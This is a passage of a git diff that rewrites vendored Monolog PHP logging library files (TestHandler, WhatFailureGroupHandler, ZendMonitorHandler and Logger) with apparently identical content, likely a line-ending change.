hasRecordThatSucceeds"); - } - - if (!isset($this->recordsByLevel[$level])) { - return false; - } - - foreach ($this->recordsByLevel[$level] as $i => $rec) { - if (call_user_func($predicate, $rec, $i)) { - return true; - } - } - - return false; - } - - /** - * {@inheritdoc} - */ - protected function write(array $record) - { - $this->recordsByLevel[$record['level']][] = $record; - $this->records[] = $record; - } - - public function __call($method, $args) - { - if (preg_match('/(.*)(Debug|Info|Notice|Warning|Error|Critical|Alert|Emergency)(.*)/', $method, $matches) > 0) { - $genericMethod = $matches[1] . ('Records' !== $matches[3] ? 'Record' : '') . $matches[3]; - $level = constant('Monolog\Logger::' . strtoupper($matches[2])); - if (method_exists($this, $genericMethod)) { - $args[] = $level; - - return call_user_func_array(array($this, $genericMethod), $args); - } - } - - throw new \BadMethodCallException('Call to undefined method ' . get_class($this) . '::' . $method . '()'); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +/** + * Used for testing purposes. + * + * It records all records and gives you access to them for verification. + * + * @author Jordi Boggiano + * + * @method bool hasEmergency($record) + * @method bool hasAlert($record) + * @method bool hasCritical($record) + * @method bool hasError($record) + * @method bool hasWarning($record) + * @method bool hasNotice($record) + * @method bool hasInfo($record) + * @method bool hasDebug($record) + * + * @method bool hasEmergencyRecords() + * @method bool hasAlertRecords() + * @method bool hasCriticalRecords() + * @method bool hasErrorRecords() + * @method bool hasWarningRecords() + * @method bool hasNoticeRecords() + * @method bool hasInfoRecords() + * @method bool hasDebugRecords() + * + * @method bool hasEmergencyThatContains($message) + * @method bool hasAlertThatContains($message) + * @method bool hasCriticalThatContains($message) + * @method bool hasErrorThatContains($message) + * @method bool hasWarningThatContains($message) + * @method bool hasNoticeThatContains($message) + * @method bool hasInfoThatContains($message) + * @method bool hasDebugThatContains($message) + * + * @method bool hasEmergencyThatMatches($message) + * @method bool hasAlertThatMatches($message) + * @method bool hasCriticalThatMatches($message) + * @method bool hasErrorThatMatches($message) + * @method bool hasWarningThatMatches($message) + * @method bool hasNoticeThatMatches($message) + * @method bool hasInfoThatMatches($message) + * @method bool hasDebugThatMatches($message) + * + * @method bool hasEmergencyThatPasses($message) + * @method bool hasAlertThatPasses($message) + * @method bool hasCriticalThatPasses($message) + * @method bool hasErrorThatPasses($message) + * @method bool hasWarningThatPasses($message) + * @method bool hasNoticeThatPasses($message) + * @method bool hasInfoThatPasses($message) + * @method bool hasDebugThatPasses($message) + */ +class TestHandler extends AbstractProcessingHandler +{ + protected $records = array(); + protected $recordsByLevel = array(); + private $skipReset = false; + + public function getRecords() + { + return $this->records; + } + + public function clear() + { + $this->records = array(); + $this->recordsByLevel = array(); + } + + public function reset() + { + if (!$this->skipReset) { + $this->clear(); + } + } + + public function setSkipReset($skipReset) + { + $this->skipReset = $skipReset; + } + + public function hasRecords($level) + { + return isset($this->recordsByLevel[$level]); + } + + /** + * @param string|array $record Either a message string or an array containing message and optionally context keys that will be checked against all records + * @param int $level Logger::LEVEL constant value + */ + public function hasRecord($record, $level) + { + if (is_string($record)) { + $record = array('message' => $record); + } + + return $this->hasRecordThatPasses(function ($rec) use ($record) { + if ($rec['message'] !== $record['message']) { + return false; + } + if (isset($record['context']) && $rec['context'] !== $record['context']) { + return false; + } + return true; + }, $level); + } + + public function hasRecordThatContains($message, $level) + { + return $this->hasRecordThatPasses(function ($rec) use ($message) { + return strpos($rec['message'], $message) !== false; + }, $level); + } + + public function hasRecordThatMatches($regex, $level) + { + return $this->hasRecordThatPasses(function ($rec) use ($regex) { + return preg_match($regex, $rec['message']) > 0; + }, $level); + } + + public function hasRecordThatPasses($predicate, $level) + { + if (!is_callable($predicate)) { + throw new \InvalidArgumentException("Expected a callable for hasRecordThatSucceeds"); + } + + if (!isset($this->recordsByLevel[$level])) { + return false; + } + + foreach ($this->recordsByLevel[$level] as $i => $rec) { + if (call_user_func($predicate, $rec, $i)) { + return true; + } + } + + return false; + } + + /** + * {@inheritdoc} + */ + protected function write(array $record) + { + $this->recordsByLevel[$record['level']][] = $record; + $this->records[] = $record; + } + + public function __call($method, $args) + { + if (preg_match('/(.*)(Debug|Info|Notice|Warning|Error|Critical|Alert|Emergency)(.*)/', $method, $matches) > 0) { + $genericMethod = $matches[1] . ('Records' !== $matches[3] ? 'Record' : '') . $matches[3]; + $level = constant('Monolog\Logger::' . strtoupper($matches[2])); + if (method_exists($this, $genericMethod)) { + $args[] = $level; + + return call_user_func_array(array($this, $genericMethod), $args); + } + } + + throw new \BadMethodCallException('Call to undefined method ' . get_class($this) . '::' . $method . '()'); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/WhatFailureGroupHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/WhatFailureGroupHandler.php index 140b0eec34..7d7622a394 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/WhatFailureGroupHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/WhatFailureGroupHandler.php @@ -1,72 +1,72 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -/** - * Forwards records to multiple handlers suppressing failures of each handler - * and continuing through to give every handler a chance to succeed. - * - * @author Craig D'Amelio - */ -class WhatFailureGroupHandler extends GroupHandler -{ - /** - * {@inheritdoc} - */ - public function handle(array $record) - { - if ($this->processors) { - foreach ($this->processors as $processor) { - $record = call_user_func($processor, $record); - } - } - - foreach ($this->handlers as $handler) { - try { - $handler->handle($record); - } catch (\Exception $e) { - // What failure? - } catch (\Throwable $e) { - // What failure? - } - } - - return false === $this->bubble; - } - - /** - * {@inheritdoc} - */ - public function handleBatch(array $records) - { - if ($this->processors) { - $processed = array(); - foreach ($records as $record) { - foreach ($this->processors as $processor) { - $record = call_user_func($processor, $record); - } - $processed[] = $record; - } - $records = $processed; - } - - foreach ($this->handlers as $handler) { - try { - $handler->handleBatch($records); - } catch (\Exception $e) { - // What failure? - } catch (\Throwable $e) { - // What failure? - } - } - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +/** + * Forwards records to multiple handlers suppressing failures of each handler + * and continuing through to give every handler a chance to succeed. + * + * @author Craig D'Amelio + */ +class WhatFailureGroupHandler extends GroupHandler +{ + /** + * {@inheritdoc} + */ + public function handle(array $record) + { + if ($this->processors) { + foreach ($this->processors as $processor) { + $record = call_user_func($processor, $record); + } + } + + foreach ($this->handlers as $handler) { + try { + $handler->handle($record); + } catch (\Exception $e) { + // What failure? + } catch (\Throwable $e) { + // What failure? + } + } + + return false === $this->bubble; + } + + /** + * {@inheritdoc} + */ + public function handleBatch(array $records) + { + if ($this->processors) { + $processed = array(); + foreach ($records as $record) { + foreach ($this->processors as $processor) { + $record = call_user_func($processor, $record); + } + $processed[] = $record; + } + $records = $processed; + } + + foreach ($this->handlers as $handler) { + try { + $handler->handleBatch($records); + } catch (\Exception $e) { + // What failure? + } catch (\Throwable $e) { + // What failure? + } + } + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/ZendMonitorHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/ZendMonitorHandler.php index 02039a2723..a20aeae014 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/ZendMonitorHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/ZendMonitorHandler.php @@ -1,101 +1,101 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Formatter\NormalizerFormatter; -use Monolog\Logger; - -/** - * Handler sending logs to Zend Monitor - * - * @author Christian Bergau - * @author Jason Davis - */ -class ZendMonitorHandler extends AbstractProcessingHandler -{ - /** - * Monolog level / ZendMonitor Custom Event priority map - * - * @var array - */ - protected $levelMap = array(); - - /** - * Construct - * - * @param int $level - * @param bool $bubble - * @throws MissingExtensionException - */ - public function __construct($level = Logger::DEBUG, $bubble = true) - { - if (!function_exists('zend_monitor_custom_event')) { - throw new MissingExtensionException( - 'You must have Zend Server installed with Zend Monitor enabled in order to use this handler' - ); - } - //zend monitor constants are not defined if zend monitor is not enabled. - $this->levelMap = array( - Logger::DEBUG => \ZEND_MONITOR_EVENT_SEVERITY_INFO, - Logger::INFO => \ZEND_MONITOR_EVENT_SEVERITY_INFO, - Logger::NOTICE => \ZEND_MONITOR_EVENT_SEVERITY_INFO, - Logger::WARNING => \ZEND_MONITOR_EVENT_SEVERITY_WARNING, - Logger::ERROR => \ZEND_MONITOR_EVENT_SEVERITY_ERROR, - Logger::CRITICAL => \ZEND_MONITOR_EVENT_SEVERITY_ERROR, - Logger::ALERT => \ZEND_MONITOR_EVENT_SEVERITY_ERROR, - Logger::EMERGENCY => \ZEND_MONITOR_EVENT_SEVERITY_ERROR, - ); - parent::__construct($level, $bubble); - } - - /** - * {@inheritdoc} - */ - protected function write(array $record) - { - $this->writeZendMonitorCustomEvent( - Logger::getLevelName($record['level']), - $record['message'], - $record['formatted'], - $this->levelMap[$record['level']] - ); - } - - /** - * Write to Zend Monitor Events - * @param string $type Text displayed in "Class Name (custom)" field - * @param string $message Text displayed in "Error String" - * @param mixed $formatted Displayed in Custom Variables tab - * @param int $severity Set the event severity level (-1,0,1) - */ - protected function writeZendMonitorCustomEvent($type, $message, $formatted, $severity) - { - zend_monitor_custom_event($type, $message, $formatted, $severity); - } - - /** - * {@inheritdoc} - */ - public function getDefaultFormatter() - { - return new NormalizerFormatter(); - } - - /** - * Get the level map - * - * @return array - */ - public function getLevelMap() - { - return $this->levelMap; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Formatter\NormalizerFormatter; +use Monolog\Logger; + +/** + * Handler sending logs to Zend Monitor + * + * @author Christian Bergau + * @author Jason Davis + */ +class ZendMonitorHandler extends AbstractProcessingHandler +{ + /** + * Monolog level / ZendMonitor Custom Event priority map + * + * @var array + */ + protected $levelMap = array(); + + /** + * Construct + * + * @param int $level + * @param bool $bubble + * @throws MissingExtensionException + */ + public function __construct($level = Logger::DEBUG, $bubble = true) + { + if (!function_exists('zend_monitor_custom_event')) { + throw new MissingExtensionException( + 'You must have Zend Server installed with Zend Monitor enabled in order to use this handler' + ); + } + //zend monitor constants are not defined if zend monitor is not enabled. + $this->levelMap = array( + Logger::DEBUG => \ZEND_MONITOR_EVENT_SEVERITY_INFO, + Logger::INFO => \ZEND_MONITOR_EVENT_SEVERITY_INFO, + Logger::NOTICE => \ZEND_MONITOR_EVENT_SEVERITY_INFO, + Logger::WARNING => \ZEND_MONITOR_EVENT_SEVERITY_WARNING, + Logger::ERROR => \ZEND_MONITOR_EVENT_SEVERITY_ERROR, + Logger::CRITICAL => \ZEND_MONITOR_EVENT_SEVERITY_ERROR, + Logger::ALERT => \ZEND_MONITOR_EVENT_SEVERITY_ERROR, + Logger::EMERGENCY => \ZEND_MONITOR_EVENT_SEVERITY_ERROR, + ); + parent::__construct($level, $bubble); + } + + /** + * {@inheritdoc} + */ + protected function write(array $record) + { + $this->writeZendMonitorCustomEvent( + Logger::getLevelName($record['level']), + $record['message'], + $record['formatted'], + $this->levelMap[$record['level']] + ); + } + + /** + * Write to Zend Monitor Events + * @param string $type Text displayed in "Class Name (custom)" field + * @param string $message Text displayed in "Error String" + * @param mixed $formatted Displayed in Custom Variables tab + * @param int $severity Set the event severity level (-1,0,1) + */ + protected function writeZendMonitorCustomEvent($type, $message, $formatted, $severity) + { + zend_monitor_custom_event($type, $message, $formatted, $severity); + } + + /** + * {@inheritdoc} + */ + public function getDefaultFormatter() + { + return new NormalizerFormatter(); + } + + /** + * Get the level map + * + * @return array + */ + public function getLevelMap() + { + return $this->levelMap; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Logger.php b/vendor/monolog/monolog/src/Monolog/Logger.php index a370c00465..7d26b29168 100644 --- a/vendor/monolog/monolog/src/Monolog/Logger.php +++ b/vendor/monolog/monolog/src/Monolog/Logger.php @@ -1,796 +1,796 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog; - -use Monolog\Handler\HandlerInterface; -use Monolog\Handler\StreamHandler; -use Psr\Log\LoggerInterface; -use Psr\Log\InvalidArgumentException; -use Exception; - -/** - * Monolog log channel - * - * It contains a stack of Handlers and a stack of Processors, - * and uses them to store records that are added to it. - * - * @author Jordi Boggiano - */ -class Logger implements LoggerInterface, ResettableInterface -{ - /** - * Detailed debug information - */ - const DEBUG = 100; - - /** - * Interesting events - * - * Examples: User logs in, SQL logs. - */ - const INFO = 200; - - /** - * Uncommon events - */ - const NOTICE = 250; - - /** - * Exceptional occurrences that are not errors - * - * Examples: Use of deprecated APIs, poor use of an API, - * undesirable things that are not necessarily wrong. - */ - const WARNING = 300; - - /** - * Runtime errors - */ - const ERROR = 400; - - /** - * Critical conditions - * - * Example: Application component unavailable, unexpected exception. - */ - const CRITICAL = 500; - - /** - * Action must be taken immediately - * - * Example: Entire website down, database unavailable, etc. - * This should trigger the SMS alerts and wake you up. - */ - const ALERT = 550; - - /** - * Urgent alert. - */ - const EMERGENCY = 600; - - /** - * Monolog API version - * - * This is only bumped when API breaks are done and should - * follow the major version of the library - * - * @var int - */ - const API = 1; - - /** - * Logging levels from syslog protocol defined in RFC 5424 - * - * @var array $levels Logging levels - */ - protected static $levels = array( - self::DEBUG => 'DEBUG', - self::INFO => 'INFO', - self::NOTICE => 'NOTICE', - self::WARNING => 'WARNING', - self::ERROR => 'ERROR', - self::CRITICAL => 'CRITICAL', - self::ALERT => 'ALERT', - self::EMERGENCY => 'EMERGENCY', - ); - - /** - * @var \DateTimeZone - */ - protected static $timezone; - - /** - * @var string - */ - protected $name; - - /** - * The handler stack - * - * @var HandlerInterface[] - */ - protected $handlers; - - /** - * Processors that will process all log records - * - * To process records of a single handler instead, add the processor on that specific handler - * - * @var callable[] - */ - protected $processors; - - /** - * @var bool - */ - protected $microsecondTimestamps = true; - - /** - * @var callable - */ - protected $exceptionHandler; - - /** - * @param string $name The logging channel - * @param HandlerInterface[] $handlers Optional stack of handlers, the first one in the array is called first, etc. - * @param callable[] $processors Optional array of processors - */ - public function __construct($name, array $handlers = array(), array $processors = array()) - { - $this->name = $name; - $this->setHandlers($handlers); - $this->processors = $processors; - } - - /** - * @return string - */ - public function getName() - { - return $this->name; - } - - /** - * Return a new cloned instance with the name changed - * - * @return static - */ - public function withName($name) - { - $new = clone $this; - $new->name = $name; - - return $new; - } - - /** - * Pushes a handler on to the stack. - * - * @param HandlerInterface $handler - * @return $this - */ - public function pushHandler(HandlerInterface $handler) - { - array_unshift($this->handlers, $handler); - - return $this; - } - - /** - * Pops a handler from the stack - * - * @return HandlerInterface - */ - public function popHandler() - { - if (!$this->handlers) { - throw new \LogicException('You tried to pop from an empty handler stack.'); - } - - return array_shift($this->handlers); - } - - /** - * Set handlers, replacing all existing ones. - * - * If a map is passed, keys will be ignored. - * - * @param HandlerInterface[] $handlers - * @return $this - */ - public function setHandlers(array $handlers) - { - $this->handlers = array(); - foreach (array_reverse($handlers) as $handler) { - $this->pushHandler($handler); - } - - return $this; - } - - /** - * @return HandlerInterface[] - */ - public function getHandlers() - { - return $this->handlers; - } - - /** - * Adds a processor on to the stack. - * - * @param callable $callback - * @return $this - */ - public function pushProcessor($callback) - { - if (!is_callable($callback)) { - throw new \InvalidArgumentException('Processors must be valid callables (callback or object with an __invoke method), '.var_export($callback, true).' given'); - } - array_unshift($this->processors, $callback); - - return $this; - } - - /** - * Removes the processor on top of the stack and returns it. - * - * @return callable - */ - public function popProcessor() - { - if (!$this->processors) { - throw new \LogicException('You tried to pop from an empty processor stack.'); - } - - return array_shift($this->processors); - } - - /** - * @return callable[] - */ - public function getProcessors() - { - return $this->processors; - } - - /** - * Control the use of microsecond resolution timestamps in the 'datetime' - * member of new records. - * - * Generating microsecond resolution timestamps by calling - * microtime(true), formatting the result via sprintf() and then parsing - * the resulting string via \DateTime::createFromFormat() can incur - * a measurable runtime overhead vs simple usage of DateTime to capture - * a second resolution timestamp in systems which generate a large number - * of log events. - * - * @param bool $micro True to use microtime() to create timestamps - */ - public function useMicrosecondTimestamps($micro) - { - $this->microsecondTimestamps = (bool) $micro; - } - - /** - * Adds a log record. - * - * @param int $level The logging level - * @param string $message The log message - * @param array $context The log context - * @return bool Whether the record has been processed - */ - public function addRecord($level, $message, array $context = array()) - { - if (!$this->handlers) { - $this->pushHandler(new StreamHandler('php://stderr', static::DEBUG)); - } - - $levelName = static::getLevelName($level); - - // check if any handler will handle this message so we can return early and save cycles - $handlerKey = null; - reset($this->handlers); - while ($handler = current($this->handlers)) { - if ($handler->isHandling(array('level' => $level))) { - $handlerKey = key($this->handlers); - break; - } - - next($this->handlers); - } - - if (null === $handlerKey) { - return false; - } - - if (!static::$timezone) { - static::$timezone = new \DateTimeZone(date_default_timezone_get() ?: 'UTC'); - } - - // php7.1+ always has microseconds enabled, so we do not need this hack - if ($this->microsecondTimestamps && PHP_VERSION_ID < 70100) { - $ts = \DateTime::createFromFormat('U.u', sprintf('%.6F', microtime(true)), static::$timezone); - } else { - $ts = new \DateTime('now', static::$timezone); - } - $ts->setTimezone(static::$timezone); - - $record = array( - 'message' => (string) $message, - 'context' => $context, - 'level' => $level, - 'level_name' => $levelName, - 'channel' => $this->name, - 'datetime' => $ts, - 'extra' => array(), - ); - - try { - foreach ($this->processors as $processor) { - $record = call_user_func($processor, $record); - } - - while ($handler = current($this->handlers)) { - if (true === $handler->handle($record)) { - break; - } - - next($this->handlers); - } - } catch (Exception $e) { - $this->handleException($e, $record); - } - - return true; - } - - /** - * Ends a log cycle and frees all resources used by handlers. - * - * Closing a Handler means flushing all buffers and freeing any open resources/handles. - * Handlers that have been closed should be able to accept log records again and re-open - * themselves on demand, but this may not always be possible depending on implementation. - * - * This is useful at the end of a request and will be called automatically on every handler - * when they get destructed. - */ - public function close() - { - foreach ($this->handlers as $handler) { - if (method_exists($handler, 'close')) { - $handler->close(); - } - } - } - - /** - * Ends a log cycle and resets all handlers and processors to their initial state. - * - * Resetting a Handler or a Processor means flushing/cleaning all buffers, resetting internal - * state, and getting it back to a state in which it can receive log records again. - * - * This is useful in case you want to avoid logs leaking between two requests or jobs when you - * have a long running process like a worker or an application server serving multiple requests - * in one process. - */ - public function reset() - { - foreach ($this->handlers as $handler) { - if ($handler instanceof ResettableInterface) { - $handler->reset(); - } - } - - foreach ($this->processors as $processor) { - if ($processor instanceof ResettableInterface) { - $processor->reset(); - } - } - } - - /** - * Adds a log record at the DEBUG level. - * - * @param string $message The log message - * @param array $context The log context - * @return bool Whether the record has been processed - */ - public function addDebug($message, array $context = array()) - { - return $this->addRecord(static::DEBUG, $message, $context); - } - - /** - * Adds a log record at the INFO level. - * - * @param string $message The log message - * @param array $context The log context - * @return bool Whether the record has been processed - */ - public function addInfo($message, array $context = array()) - { - return $this->addRecord(static::INFO, $message, $context); - } - - /** - * Adds a log record at the NOTICE level. - * - * @param string $message The log message - * @param array $context The log context - * @return bool Whether the record has been processed - */ - public function addNotice($message, array $context = array()) - { - return $this->addRecord(static::NOTICE, $message, $context); - } - - /** - * Adds a log record at the WARNING level. - * - * @param string $message The log message - * @param array $context The log context - * @return bool Whether the record has been processed - */ - public function addWarning($message, array $context = array()) - { - return $this->addRecord(static::WARNING, $message, $context); - } - - /** - * Adds a log record at the ERROR level. - * - * @param string $message The log message - * @param array $context The log context - * @return bool Whether the record has been processed - */ - public function addError($message, array $context = array()) - { - return $this->addRecord(static::ERROR, $message, $context); - } - - /** - * Adds a log record at the CRITICAL level. - * - * @param string $message The log message - * @param array $context The log context - * @return bool Whether the record has been processed - */ - public function addCritical($message, array $context = array()) - { - return $this->addRecord(static::CRITICAL, $message, $context); - } - - /** - * Adds a log record at the ALERT level. - * - * @param string $message The log message - * @param array $context The log context - * @return bool Whether the record has been processed - */ - public function addAlert($message, array $context = array()) - { - return $this->addRecord(static::ALERT, $message, $context); - } - - /** - * Adds a log record at the EMERGENCY level. - * - * @param string $message The log message - * @param array $context The log context - * @return bool Whether the record has been processed - */ - public function addEmergency($message, array $context = array()) - { - return $this->addRecord(static::EMERGENCY, $message, $context); - } - - /** - * Gets all supported logging levels. - * - * @return array Assoc array with human-readable level names => level codes. - */ - public static function getLevels() - { - return array_flip(static::$levels); - } - - /** - * Gets the name of the logging level. - * - * @param int $level - * @return string - */ - public static function getLevelName($level) - { - if (!isset(static::$levels[$level])) { - throw new InvalidArgumentException('Level "'.$level.'" is not defined, use one of: '.implode(', ', array_keys(static::$levels))); - } - - return static::$levels[$level]; - } - - /** - * Converts PSR-3 levels to Monolog ones if necessary - * - * @param string|int $level Level number (monolog) or name (PSR-3) - * @return int - */ - public static function toMonologLevel($level) - { - if (is_string($level)) { - // Contains chars of all log levels and avoids using strtoupper() which may have - // strange results depending on locale (for example, "i" will become "İ") - $upper = strtr($level, 'abcdefgilmnortuwy', 'ABCDEFGILMNORTUWY'); - if (defined(__CLASS__.'::'.$upper)) { - return constant(__CLASS__ . '::' . $upper); - } - } - - return $level; - } - - /** - * Checks whether the Logger has a handler that listens on the given level - * - * @param int $level - * @return bool - */ - public function isHandling($level) - { - $record = array( - 'level' => $level, - ); - - foreach ($this->handlers as $handler) { - if ($handler->isHandling($record)) { - return true; - } - } - - return false; - } - - /** - * Set a custom exception handler - * - * @param callable $callback - * @return $this - */ - public function setExceptionHandler($callback) - { - if (!is_callable($callback)) { - throw new \InvalidArgumentException('Exception handler must be valid callable (callback or object with an __invoke method), '.var_export($callback, true).' given'); - } - $this->exceptionHandler = $callback; - - return $this; - } - - /** - * @return callable - */ - public function getExceptionHandler() - { - return $this->exceptionHandler; - } - - /** - * Delegates exception management to the custom exception handler, - * or throws the exception if no custom handler is set. - */ - protected function handleException(Exception $e, array $record) - { - if (!$this->exceptionHandler) { - throw $e; - } - - call_user_func($this->exceptionHandler, $e, $record); - } - - /** - * Adds a log record at an arbitrary level. - * - * This method allows for compatibility with common interfaces. - * - * @param mixed $level The log level - * @param string $message The log message - * @param array $context The log context - * @return bool Whether the record has been processed - */ - public function log($level, $message, array $context = array()) - { - $level = static::toMonologLevel($level); - - return $this->addRecord($level, $message, $context); - } - - /** - * Adds a log record at the DEBUG level. - * - * This method allows for compatibility with common interfaces. - * - * @param string $message The log message - * @param array $context The log context - * @return bool Whether the record has been processed - */ - public function debug($message, array $context = array()) - { - return $this->addRecord(static::DEBUG, $message, $context); - } - - /** - * Adds a log record at the INFO level. - * - * This method allows for compatibility with common interfaces. - * - * @param string $message The log message - * @param array $context The log context - * @return bool Whether the record has been processed - */ - public function info($message, array $context = array()) - { - return $this->addRecord(static::INFO, $message, $context); - } - - /** - * Adds a log record at the NOTICE level. - * - * This method allows for compatibility with common interfaces. - * - * @param string $message The log message - * @param array $context The log context - * @return bool Whether the record has been processed - */ - public function notice($message, array $context = array()) - { - return $this->addRecord(static::NOTICE, $message, $context); - } - - /** - * Adds a log record at the WARNING level. - * - * This method allows for compatibility with common interfaces. - * - * @param string $message The log message - * @param array $context The log context - * @return bool Whether the record has been processed - */ - public function warn($message, array $context = array()) - { - return $this->addRecord(static::WARNING, $message, $context); - } - - /** - * Adds a log record at the WARNING level. - * - * This method allows for compatibility with common interfaces. - * - * @param string $message The log message - * @param array $context The log context - * @return bool Whether the record has been processed - */ - public function warning($message, array $context = array()) - { - return $this->addRecord(static::WARNING, $message, $context); - } - - /** - * Adds a log record at the ERROR level. - * - * This method allows for compatibility with common interfaces. - * - * @param string $message The log message - * @param array $context The log context - * @return bool Whether the record has been processed - */ - public function err($message, array $context = array()) - { - return $this->addRecord(static::ERROR, $message, $context); - } - - /** - * Adds a log record at the ERROR level. - * - * This method allows for compatibility with common interfaces. - * - * @param string $message The log message - * @param array $context The log context - * @return bool Whether the record has been processed - */ - public function error($message, array $context = array()) - { - return $this->addRecord(static::ERROR, $message, $context); - } - - /** - * Adds a log record at the CRITICAL level. - * - * This method allows for compatibility with common interfaces. - * - * @param string $message The log message - * @param array $context The log context - * @return bool Whether the record has been processed - */ - public function crit($message, array $context = array()) - { - return $this->addRecord(static::CRITICAL, $message, $context); - } - - /** - * Adds a log record at the CRITICAL level. - * - * This method allows for compatibility with common interfaces. - * - * @param string $message The log message - * @param array $context The log context - * @return bool Whether the record has been processed - */ - public function critical($message, array $context = array()) - { - return $this->addRecord(static::CRITICAL, $message, $context); - } - - /** - * Adds a log record at the ALERT level. - * - * This method allows for compatibility with common interfaces. - * - * @param string $message The log message - * @param array $context The log context - * @return bool Whether the record has been processed - */ - public function alert($message, array $context = array()) - { - return $this->addRecord(static::ALERT, $message, $context); - } - - /** - * Adds a log record at the EMERGENCY level. - * - * This method allows for compatibility with common interfaces. - * - * @param string $message The log message - * @param array $context The log context - * @return bool Whether the record has been processed - */ - public function emerg($message, array $context = array()) - { - return $this->addRecord(static::EMERGENCY, $message, $context); - } - - /** - * Adds a log record at the EMERGENCY level. - * - * This method allows for compatibility with common interfaces. - * - * @param string $message The log message - * @param array $context The log context - * @return bool Whether the record has been processed - */ - public function emergency($message, array $context = array()) - { - return $this->addRecord(static::EMERGENCY, $message, $context); - } - - /** - * Set the timezone to be used for the timestamp of log records. - * - * This is stored globally for all Logger instances - * - * @param \DateTimeZone $tz Timezone object - */ - public static function setTimezone(\DateTimeZone $tz) - { - self::$timezone = $tz; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog; + +use Monolog\Handler\HandlerInterface; +use Monolog\Handler\StreamHandler; +use Psr\Log\LoggerInterface; +use Psr\Log\InvalidArgumentException; +use Exception; + +/** + * Monolog log channel + * + * It contains a stack of Handlers and a stack of Processors, + * and uses them to store records that are added to it. + * + * @author Jordi Boggiano + */ +class Logger implements LoggerInterface, ResettableInterface +{ + /** + * Detailed debug information + */ + const DEBUG = 100; + + /** + * Interesting events + * + * Examples: User logs in, SQL logs. + */ + const INFO = 200; + + /** + * Uncommon events + */ + const NOTICE = 250; + + /** + * Exceptional occurrences that are not errors + * + * Examples: Use of deprecated APIs, poor use of an API, + * undesirable things that are not necessarily wrong. + */ + const WARNING = 300; + + /** + * Runtime errors + */ + const ERROR = 400; + + /** + * Critical conditions + * + * Example: Application component unavailable, unexpected exception. + */ + const CRITICAL = 500; + + /** + * Action must be taken immediately + * + * Example: Entire website down, database unavailable, etc. + * This should trigger the SMS alerts and wake you up. + */ + const ALERT = 550; + + /** + * Urgent alert. + */ + const EMERGENCY = 600; + + /** + * Monolog API version + * + * This is only bumped when API breaks are done and should + * follow the major version of the library + * + * @var int + */ + const API = 1; + + /** + * Logging levels from syslog protocol defined in RFC 5424 + * + * @var array $levels Logging levels + */ + protected static $levels = array( + self::DEBUG => 'DEBUG', + self::INFO => 'INFO', + self::NOTICE => 'NOTICE', + self::WARNING => 'WARNING', + self::ERROR => 'ERROR', + self::CRITICAL => 'CRITICAL', + self::ALERT => 'ALERT', + self::EMERGENCY => 'EMERGENCY', + ); + + /** + * @var \DateTimeZone + */ + protected static $timezone; + + /** + * @var string + */ + protected $name; + + /** + * The handler stack + * + * @var HandlerInterface[] + */ + protected $handlers; + + /** + * Processors that will process all log records + * + * To process records of a single handler instead, add the processor on that specific handler + * + * @var callable[] + */ + protected $processors; + + /** + * @var bool + */ + protected $microsecondTimestamps = true; + + /** + * @var callable + */ + protected $exceptionHandler; + + /** + * @param string $name The logging channel + * @param HandlerInterface[] $handlers Optional stack of handlers, the first one in the array is called first, etc. + * @param callable[] $processors Optional array of processors + */ + public function __construct($name, array $handlers = array(), array $processors = array()) + { + $this->name = $name; + $this->setHandlers($handlers); + $this->processors = $processors; + } + + /** + * @return string + */ + public function getName() + { + return $this->name; + } + + /** + * Return a new cloned instance with the name changed + * + * @return static + */ + public function withName($name) + { + $new = clone $this; + $new->name = $name; + + return $new; + } + + /** + * Pushes a handler on to the stack. + * + * @param HandlerInterface $handler + * @return $this + */ + public function pushHandler(HandlerInterface $handler) + { + array_unshift($this->handlers, $handler); + + return $this; + } + + /** + * Pops a handler from the stack + * + * @return HandlerInterface + */ + public function popHandler() + { + if (!$this->handlers) { + throw new \LogicException('You tried to pop from an empty handler stack.'); + } + + return array_shift($this->handlers); + } + + /** + * Set handlers, replacing all existing ones. + * + * If a map is passed, keys will be ignored. + * + * @param HandlerInterface[] $handlers + * @return $this + */ + public function setHandlers(array $handlers) + { + $this->handlers = array(); + foreach (array_reverse($handlers) as $handler) { + $this->pushHandler($handler); + } + + return $this; + } + + /** + * @return HandlerInterface[] + */ + public function getHandlers() + { + return $this->handlers; + } + + /** + * Adds a processor on to the stack. + * + * @param callable $callback + * @return $this + */ + public function pushProcessor($callback) + { + if (!is_callable($callback)) { + throw new \InvalidArgumentException('Processors must be valid callables (callback or object with an __invoke method), '.var_export($callback, true).' given'); + } + array_unshift($this->processors, $callback); + + return $this; + } + + /** + * Removes the processor on top of the stack and returns it. + * + * @return callable + */ + public function popProcessor() + { + if (!$this->processors) { + throw new \LogicException('You tried to pop from an empty processor stack.'); + } + + return array_shift($this->processors); + } + + /** + * @return callable[] + */ + public function getProcessors() + { + return $this->processors; + } + + /** + * Control the use of microsecond resolution timestamps in the 'datetime' + * member of new records. + * + * Generating microsecond resolution timestamps by calling + * microtime(true), formatting the result via sprintf() and then parsing + * the resulting string via \DateTime::createFromFormat() can incur + * a measurable runtime overhead vs simple usage of DateTime to capture + * a second resolution timestamp in systems which generate a large number + * of log events. + * + * @param bool $micro True to use microtime() to create timestamps + */ + public function useMicrosecondTimestamps($micro) + { + $this->microsecondTimestamps = (bool) $micro; + } + + /** + * Adds a log record. + * + * @param int $level The logging level + * @param string $message The log message + * @param array $context The log context + * @return bool Whether the record has been processed + */ + public 